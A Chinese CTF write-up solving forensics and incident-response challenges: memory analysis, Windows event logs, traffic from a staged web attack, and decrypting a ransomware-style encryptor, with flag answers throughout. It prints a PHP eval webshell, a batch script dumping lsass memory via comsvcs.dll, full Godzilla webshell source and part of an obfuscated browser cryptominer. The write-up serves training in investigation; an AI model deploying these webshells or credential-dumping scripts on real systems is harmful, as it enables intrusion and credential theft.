题目最多的一次,肝完14h夜班来打,拿下
【题目信息】VOL_EASY
题目描述
某企业服务器近日遭受隐秘入侵。安全团队通过日志溯源发现,黑客利用Web应用漏洞植入恶意后门,根据溯源的信息配合警方逮捕了黑客,安全团队已经紧急保存了黑客电脑的内存转储文件,请你开始取证以便固定证据。请根据题目文件,找出下面10条证据让罪犯服软吧!
这是攻击者视角下内存取证
【任务1】VOL_EASY
题目描述
黑客上传的一句话木马密码是多少?
lovelymem导入镜像,ntfs发现ezshell.php,右键打开
<?php @eval($_POST['solar']); ?>
flag{solar}
【任务2】VOL_EASY
题目描述
黑客使用的木马连接工具叫什么(比如xx.exe)?(仅首字母大写)
看下findevil,发现蚁剑,仅首字母害我没一血QWQ
flag{Antsword.exe}
【任务3】VOL_EASY
题目描述
黑客使用的木马连接工具的位置在哪里(比如C:\xxxx\xx.exe) ?
文件直接搜ant
flag{C:\Tools\AntSword-Loader-v4.0.3-win32-x64\AntSword.exe}
【任务4】VOL_EASY
题目描述
黑客获取到的FLAG是什么?
见任务1
flag{ok!get_webshell_is_good_idea~}
【任务5】VOL_EASY
题目描述
黑客入侵的网站地址是多少(只需要http://xxxxx/)?
看了网络连接发现192.228.79.201不对,难道是反代?DNS?
直接正则搜索镜像
\d+\.\d+\.\d+\.\d+
拿下
flag{http://192.168.186.140}
【任务6】VOL_EASY
题目描述
黑客入侵时,使用的系统用户名是什么?
查看系统信息
flag{Administrator}
【任务7】VOL_EASY
题目描述
黑客创建隐藏账户的密码是多少?
本机找了很久没找到,很显然这是作为攻击者的内存镜像,而攻击信息位于蚁剑内存中
继续正则搜索镜像
net user
solar202,后面猜个5
flag{solar2025}
【任务8】VOL_EASY
题目描述
黑客首次操作靶机的关键程序是什么?
【任务9】VOL_EASY
题目描述
该关键程序的PID是多少?
【任务10】VOL_EASY
题目描述
该关键程序的内存文件保存到了什么地方?
后面三题怎么在另一页,差点没发现
再去看任务1发现的这个dump_lass.bat,其中包含PID、%OUTPUT%,一看就是上传给靶机执行的bat
@echo off
echo [*] 正在获取 lsass.exe PID...
for /f "tokens=2 delims=," %%a in ('tasklist /FI "IMAGENAME eq lsass.exe" /FO CSV /NH') do (
set PID=%%~a
)
if "%PID%"=="" (
echo [!] 未找到 lsass.exe 进程,或没有权限。
pause
exit /b 1
)
echo [*] PID: %PID%
echo [*] 正在尝试导出内存转储...
set OUTPUT=%~dp0lsass.dmp
rundll32.exe comsvcs.dll, MiniDump %PID% %OUTPUT% full
if exist "%OUTPUT%" (
echo [✓] 成功导出 lsass 内存为: %OUTPUT%
) else (
echo [!] 导出失败,可能权限不足。
)
pause
直接010搜镜像
三宝齐全了,PID 456,路径C:\phpstudy_pro\WWW\lsass.dmp,第一个执行的是lsass.exe
换个UTF-8,看懂了8
flag{lsass.exe}、flag{456}、flag{C:\phpstudy_pro\WWW\lsass.dmp}
【题目信息】应急大师
题目描述
这是一台被黑客入侵的服务器,安全团队有进行一些基础溯源。目前服务器已经断网处理,请你继续协助安全团队进行溯源分析,将整个证据链补充完整。服务器密码是qsnctf。
这应该就是作为受害者
【任务1】应急大师
题目描述
请提交隐藏用户的名称?
找到账户管理,隐藏用户后面加$
flag{solar$}
【任务2】应急大师
题目描述
请提交黑客的IP地址?
phpstudy,找nginx日志
flag{192.168.186.139}
【任务3】应急大师
题目描述
请提交黑客的一句话木马密码?
phpstudy,三打不牛web目录下看
flag{solar2025}
【任务4】应急大师
题目描述
请提交黑客创建隐藏用户的TargetSid(目标账户安全ID)?
命令行直接看
flag{S-1-5-21-3845547894-970975367-1760185533-1000}
【任务5】应急大师
题目描述
请提交黑客创建隐藏账户的事件(格式为 年/月/日 时:分:秒)?
事件查看器-安全,筛选4720事件ID,创建新账户事件
flag{2025/7/23 17:05:45}
【任务6】应急大师
题目描述
黑客将这个隐藏用户先后加入了哪几个用户组?提交格式为 第一个用户组-第二个用户组,如student-teacher
查看4728、4732、4756事件ID
-
事件 ID 4728:用户被添加到一个全局安全组(如 Administrators、Users 等)
-
事件 ID 4732:用户被添加到一个本地安全组
-
事件 ID 4756:用户被添加到一个通用安全组(通常出现在域环境中)
先后被添加到Users、Administrators组
flag{Users-Administrators}
【任务7】应急大师
题目描述
黑客通过远程桌面成功登陆系统管理员账号的网络地址及端口号?提交格式为 IP:PORT 如 127.0.0.1:41110
筛选4624,查找到管理员的rdp连接
flag{192.168.186.139:49197}
【题目信息】公交车系统攻击事件排查
题目描述
思而听公交系统被黑客攻击,黑客通过web进行了攻击并获取了数据,然后获取了其中一位驾校师傅在FTP服务中的私密文件,其后黑客找到了任意文件上传漏洞进行了GETshell,控制了主机权限并植入了挖矿网页挖矿病毒,接下来你需要逐步排查。
注意:
流量中的21端口对应2121、80端口对应8090。
root的SSH密码为bussec123,第二个地址是SSH地址。
请勿在此提交FLAG,请前往具体任务提交,如【任务1】公交车系统攻击事件排查 提交。
【任务1】公交车系统攻击事件排查
题目描述
分析环境内的中间件日志,找到第一个漏洞(黑客获取数据的漏洞),然后通过分析日志、流量,通过脚本解出黑客获取的用户密码数据,提交获取的前两个用户名,提交格式:flag{zhangsan-wangli}
根目录有个流量包,传下来,显然是SQL注入
几千个包都是sqlmap在扫,盲注,以下流量发现是按password排序
直接连数据库查,按password排序
flag{sunyue-chenhao}
【任务2】公交车系统攻击事件排查
题目描述
黑客通过获取的用户名密码,利用密码复用技术,爆破了FTP服务,分析流量以后找到开放的FTP端口,并找到黑客登录成功后获取的私密文件,提交其文件中内容,提交格式:flag{xxx}
话不多说,看图
flag{INTERNAL_FTP_ADMIN_PASSWORD=FtpP@ssw0rd_For_Admin_Backup_2025}
【任务3】公交车系统攻击事件排查
题目描述
可恶的黑客找到了任意文件上传点,你需要分析日志和流量以及web开放的程序找到黑客上传的文件,提交木马使用的密码,提交格式:flag{password}
直奔web目录下uploads目录,发现哥斯拉🐎,密码woaiwojia
flag{woaiwojia}
【任务4】公交车系统攻击事件排查
题目描述
分析流量,黑客植入了一个web挖矿木马,这个木马现实情况下会在用户访问后消耗用户的资源进行挖矿(本环境已做无害化处理),提交黑客上传这个文件时的初始名称,提交格式:flag{xxx.xxx}
哥斯拉webshell流量
根据之前的哥斯拉马解密
<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
for($i=0;$i<strlen($D);$i++) {
$c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}
$pass='woaiwojia';
$payloadName='payload';
$key='3c6e0b8a9c15224a';
if (isset($_POST[$pass])){
$data=encode(base64_decode($_POST[$pass]),$key);
if (isset($_SESSION[$payloadName])){
$payload=encode($_SESSION[$payloadName],$key);
if (strpos($payload,"getBasicsInfo")===false){
$payload=encode($payload,$key);
}
eval($payload);
echo substr(md5($pass.$key),0,16);
echo base64_encode(encode(@run($data),$key));
echo substr(md5($pass.$key),16);
}else{
if (strpos($data,"getBasicsInfo")!==false){
$_SESSION[$payloadName]=encode($data,$key);
}
}
}
文件上传操作
flag{map.php}
【任务5】公交车系统攻击事件排查
题目描述
分析流量并上机排查,黑客植入的网页挖矿木马所使用的矿池地址是什么,提交矿池地址(排查完毕后可以尝试删除它)提交格式:flag{xxxxxxx.xxxx.xxx:xxxx}
web挖矿木马,依赖用户浏览器前端,只能是js喽,直接看主页,发现混淆js
(function(){var _0x1c8d=['fromCharCode','|','4|1|3|0|2','split','log','This\x20will\x20never\x20run','random','floor','now','sqrt','sin','setTimeout','push','shift'];(function(_0x3e1a0f,_0x1c8d8d){var _0x5b3c2d=function(_0x5a1d5c){while(--_0x5a1d5c){_0x3e1a0f['push'](_0x3e1a0f['shift']());}};_0x5b3c2d(++_0x1c8d8d);}(_0x1c8d,0x1f4));var _0x5b3c=function(_0x3e1a0f,_0x1c8d8d){_0x3e1a0f=_0x3e1a0f-0x0;var _0x5b3c2d=_0x1c8d[_0x3e1a0f];return _0x5b3c2d;};var _0x1b8d5c=function(){var _0x5a1d5c=function(){var _0x3c7e4b=!![];return function(_0x1b1f8e,_0x5a1d5c){var _0x3c1a2b=_0x3c7e4b?function(){if(_0x5a1d5c){var _0x1b8d5c=_0x5a1d5c['apply'](_0x1b1f8e,arguments);_0x5a1d5c=null;return _0x1b8d5c;}}:function(){};_0x3c7e4b=![];return _0x3c1a2b;};}();var _0x3c7e4b=_0x1b8d5c(this,function(){var _0x1b1f8e=function(){var _0x5a1d5c;try{_0x5a1d5c=_0x1b8d5c('return\x20(function()\x20'+'{}.constructor(\"return\x20this\")()\x20'+');','');}catch(_0x3c1a2b){_0x5a1d5c=window;}return _0x5a1d5c;};var _0x5a1d5c=_0x1b1f8e();var _0x3c1a2b=_0x5a1d5c['console']=_0x5a1d5c['console']||{};var _0x1b8d5c=[_0x5b3c('0x4'),'warn','info','error','exception','table','trace'];for(var _0x5b3c2d=0x0;_0x5b3c2d<_0x1b8d5c['length'];_0x5b3c2d++){var _0x3c7e4b=_0x1b8d5c['constructor']['prototype']['bind'](_0x1b8d5c);var _0x1b1f8e=_0x1b8d5c[_0x5b3c2d];var _0x5a1d5c=_0x3c1a2b[_0x1b1f8e]||_0x3c7e4b;_0x3c7e4b['__proto__']=_0x1b8d5c['bind'](_0x1b8d5c);_0x3c7e4b['toString']=_0x5a1d5c['toString']['bind'](_0x5a1d5c);_0x3c1a2b[_0x1b1f8e]=_0x3c7e4b;}});_0x3c7e4b();var _0x1b1f8e={};_0x1b1f8e['p']=String[_0x5b3c('0x0')](103,117,108,102,46,109,111,110,101,114,111,111,99,101,97,110,46,115,116,114,101,97,109,58,49,48,49,50,56);_0x1b1f8e['l']=0.8;var _0x5b3c2d=function(){var _0x3c7e4b=_0x5b3c('0x2')[_0x5b3c('0x3')]('|');var _0x1b8d5c=0x0;while(!![]){switch(_0x3c7e4b[_0x1b8d5c++]){case'0':if(Math[_0x5b3c('0x7')](Math[_0x5b3c('0x6')]()*100)>100){console[_0x5b3c('0x4')](_0x5b3c('0x5'));}continue;case'1':while(Date[_0x5b3c('0x8')]()- _0x1b8d5c<100*_0x1b1f8e['l']){var _0x5a1d5c=10000
对这些整数解密,发现是矿池地址
flag{gulf.moneroocean.stream:10128}
B02-奇怪的加密器
题目描述
糟糕!一个客户的服务器的一个文件被加密了,为了防止感染,我将其放入了回收站,请你快点恢复我的flag生成器!这非常重要!!!服务器密码是:qsnctf
正好学习用一下思而听的vnc主机
靶机内网smb传到nas上共享
主机外网ftp连接到nas上访问
参数enc,指定FlagGenerator_v1.exe加密为FlagGenerator_v1.T1
主要加密逻辑不难,没上次的ex,调用windows api进行加密,重点是在CryptEncrypt对文件内容进行加密,其他key什么的都是硬编码
如果能让CryptEncrypt patch成CryptDecrypt就好了
#include <windows.h>
#include <wincrypt.h>
#include <iostream>
#include <fstream>
#include <vector>
#include <string>
#include <memory>
#pragma comment(lib, "advapi32.lib")
class AESDecryptor {
private:
HCRYPTPROV hProv;
HCRYPTKEY hKey;
HCRYPTHASH hHash;
public:
AESDecryptor() : hProv(0), hKey(0), hHash(0) {}
~AESDecryptor() {
cleanup();
}
bool initialize(const std::string& password) {
// 获取加密上下文 (PROV_RSA_AES)
if (!CryptAcquireContextA(&hProv, nullptr, nullptr, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) {
std::cerr << "CryptAcquireContext 失败: " << GetLastError() << std::endl;
return false;
}
// 创建SHA-256哈希对象
if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)) {
std::cerr << "CryptCreateHash 失败: " << GetLastError() << std::endl;
return false;
}
// 对密码进行哈希
if (!CryptHashData(hHash, reinterpret_cast<const BYTE*>(password.c_str()),
static_cast<DWORD>(password.length()), 0)) {
std::cerr << "CryptHashData 失败: " << GetLastError() << std::endl;
return false;
}
// 从哈希派生AES-128密钥
if (!CryptDeriveKey(hProv, CALG_AES_128, hHash, 0, &hKey)) {
std::cerr << "CryptDeriveKey 失败: " << GetLastError() << std::endl;
return false;
}
return true;
}
bool decryptFile(const std::string& inputFile, const std::string& outputFile) {
try {
// 读取加密文件
std::ifstream file(inputFile, std::ios::binary | std::ios::ate);
if (!file.is_open()) {
std::cerr << "无法打开输入文件: " << inputFile << std::endl;
return false;
}
std::streamsize fileSize = file.tellg();
file.seekg(0, std::ios::beg);
// 使用vector存储文件数据,并预留解密所需的额外空间
std::vector<BYTE> buffer(static_cast<size_t>(fileSize) + 16);
if (!file.read(reinterpret_cast<char*>(buffer.data()), fileSize)) {
std::cerr << "文件读取失败" << std::endl;
return false;
}
file.close();
// 解密数据
DWORD decryptLen = static_cast<DWORD>(fileSize);
if (!CryptDecrypt(hKey, 0, TRUE, 0, buffer.data(), &decryptLen)) {
std::cerr << "CryptDecrypt 失败: " << GetLastError() << std::endl;
return false;
}
// 写入解密后的文件
std::ofstream outFile(outputFile, std::ios::binary);
if (!outFile.is_open()) {
std::cerr << "无法创建输出文件: " << outputFile << std::endl;
return false;
}
outFile.write(reinterpret_cast<const char*>(buffer.data()), decryptLen);
if (!outFile.good()) {
std::cerr << "写入文件失败" << std::endl;
return false;
}
std::cout << "解密完成: " << inputFile << " -> " << outputFile << std::endl;
return true;
}
catch (const std::exception& e) {
std::cerr << "异常: " << e.what() << std::endl;
return false;
}
}
private:
void cleanup() {
if (hKey) {
CryptDestroyKey(hKey);
hKey = 0;
}
if (hHash) {
CryptDestroyHash(hHash);
hHash = 0;
}
if (hProv) {
CryptReleaseContext(hProv, 0);
hProv = 0;
}
}
};
class DecryptorApp {
private:
static constexpr const char* SECRET_KEY = "secret_key_1234";
public:
int run(int argc, char* argv[]) {
if (argc < 3) {
showUsage(argv[0]);
return 1;
}
const std::string inputFile = argv[1];
const std::string outputFile = argv[2];
std::cout << "=== AES解密程序 ===" << std::endl;
std::cout << "输入文件: " << inputFile << std::endl;
std::cout << "输出文件: " << outputFile << std::endl;
std::cout << "使用密钥: " << SECRET_KEY << std::endl;
std::cout << "开始解密..." << std::endl;
AESDecryptor decryptor;
if (!decryptor.initialize(SECRET_KEY)) {
std::cerr << "解密器初始化失败!" << std::endl;
return -1;
}
if (!decryptor.decryptFile(inputFile, outputFile)) {
std::cerr << "解密失败!" << std::endl;
return -1;
}
std::cout << "解密成功完成!" << std::endl;
return 0;
}
private:
void showUsage(const char* programName) {
std::cout << "用法:" << std::endl;
std::cout << " 解密: " << programName << " <加密文件> <输出文件>" << std::endl;
std::cout << std::endl;
std::cout << "示例:" << std::endl;
std::cout << " " << programName << " FlagGenerator_v1.T1 FlagGenerator_v1_decrypted.exe" << std::endl;
std::cout << std::endl;
std::cout << "说明:" << std::endl;
std::cout << " - 使用硬编码密钥: " << SECRET_KEY << std::endl;
std::cout << " - 加密算法: AES-128" << std::endl;
std::cout << " - 密钥派生: SHA-256" << std::endl;
}
};
int main(int argc, char* argv[]) {
// 设置控制台输出编码为UTF-8 (Windows)
#ifdef _WIN32
SetConsoleOutputCP(CP_UTF8);
#endif
DecryptorApp app;
return app.run(argc, argv);
}
解密拿flag
flag{8e8c6b08-8adb-262b-0032-4809c1796c3e}